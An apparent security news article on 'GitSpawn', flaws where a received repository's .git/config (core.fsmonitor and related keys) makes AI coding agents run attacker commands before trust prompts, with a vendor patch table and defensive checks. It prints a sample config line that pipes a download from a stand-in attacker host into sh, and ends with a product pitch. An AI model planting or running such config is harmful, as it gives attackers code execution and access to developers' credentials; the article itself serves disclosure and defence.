
Getting an AI coding agent to run attacker code on your machine takes no clever prompt and no sandbox escape. Opening a repository someone sent you is enough: a command hidden in its own .git/config fires in the background before the agent ever asks whether you trust the folder. Manifold Security disclosed eight such flaws across seven AI coding agents at once. Here is the mechanism in detail (per The Hacker News), and how to catch it at scale instead of eyeballing one repo at a time.
What was found
Manifold Security published the chain under the name GitSpawn: eight vulnerabilities in seven agents where a repository’s own Git configuration runs arbitrary commands on the developer’s machine, outside the agent’s sandbox and with no approval prompt at all. The important part is that the bug is neither in the model nor in anything new. As Manifold puts it: “the vulnerability is not in the model, or in anything new. It is in the ordinary plumbing underneath, the subprocess an agent spawns at session startup to work out where it is.”
How it works
The primary vector is the core.fsmonitor setting. It is a Git performance option whose value is a command, and Git runs that command to figure out which files changed. The catch: the command is read from the repository’s local .git/config, and it fires on any operation that refreshes the index, down to a harmless git status or git diff. Two neighbours do the same job: core.hooksPath and attr.tree paired with a clean or process filter.
The malicious config looks deceptively simple:
[core]
fsmonitor = "curl -s https://evil.example/p | sh"
Then the timing does the rest. In Claude Code and Hermes Agent the payload runs before the workspace-trust prompt, in Qwen Code before the user authenticates, in Grok Build on the first keystroke. The outcome is the same: attacker code runs with the developer’s privileges and reaches their files, credentials and account resources.
One caveat both reassures and worries. A plain git clone does not carry the malicious config, so a project cloned from GitHub is safe. But when a repository arrives as files with the whole .git folder intact (in an archive, on a shared drive, in a sync folder or on a USB stick), the config is preserved in full. That is exactly how teams tend to pass such projects around.
Who is affected, and what is patched
The vendor picture is uneven: some closed the hole fast, some stayed silent. Four agents were still exploitable at publication.
| Tool | Affected versions | Status |
|---|---|---|
| goose | All before 1.44.0 | Fixed (1.44.0) |
| OpenAI Codex CLI | 0.102.0–0.130.0 | Fixed (0.131.0) |
| Cursor | — | Fixed |
| Claude Code | 2.1.193 / 2.1.252 | Partial: fsmonitor fixed, ultrareview open |
| Hermes Agent | 0.18.2, 0.21.0 | No patch |
| Qwen Code | 0.19.6, 0.22.3 | No patch |
| Grok Build | 0.2.93, 1.0.13 | No patch |
Claude Code is its own story. Anthropic closed the main core.fsmonitor path in 2.1.196, but a second path through claude ultrareview was still open in 2.1.252 as of September 1. Sonar noted back in April 2026 that Anthropic had moved the startup sequence to close the issue in 2.0.34, yet the same behaviour returned in 2.1.193. OpenAI shipped three CVEs for Codex, including CVE-2026-19592; goose got CVE-2026-72718 rated 7.0.
Why this is worse than it looks
This is not exploiting a coding bug, it is abusing a legitimate feature. Cobalt’s red team put it best: “FSMonitor abuse exploits a legitimate feature, not a bug. It leverages the intersection of Git’s flexibility and the automation of modern IDEs to turn a repository open event into code execution.”
The class is not new. Visual Studio Code (CVE-2021-43891) and JetBrains IDEs (CVE-2022-24346) had the same problem years ago. What is new is that AI agents now sit on the detonator, poking Git in the background at startup with no one watching. And it is past theory: the Hermes agent, still without a fix, showed up in a July intrusion against a Thai government network.
How to defend right now
While vendors patch their agents, defense falls on developers and on whoever owns secure development. The practical minimum is short.
- Inspect
.git/configbefore you open a received folder in an agent. Look forcore.fsmonitor,core.hooksPathandattr.treenext to a clean or process filter. - In any repo that arrived as files, check and disable the dangerous key globally:
git config --get core.fsmonitor
git config --global --list | grep fsmonitor
git config --global core.fsmonitor false
- Vendors should strip configuration on background calls, e.g. run
git -c core.fsmonitor=false status. - Inspecting every repo by hand does not scale. In CI and across a stream of incoming projects, static analysis should catch it: agentpipe SaaS scans repositories and agent configuration and flags exactly these dangerous Git keys and chains before a developer opens them.
Bottom line
GitSpawn is a clean reminder that an AI agent is dangerous not only through its model, but through everything it quietly runs around it. The weakest link turned out to be not the neural net but a thirty-year-old Git setting that agents learned to trigger automatically. With four tools still unpatched and fixes arriving late, the only reliable strategy is to distrust incoming repositories by default and check their configuration before opening — by hand for the odd case, and with automated scanning for everything else.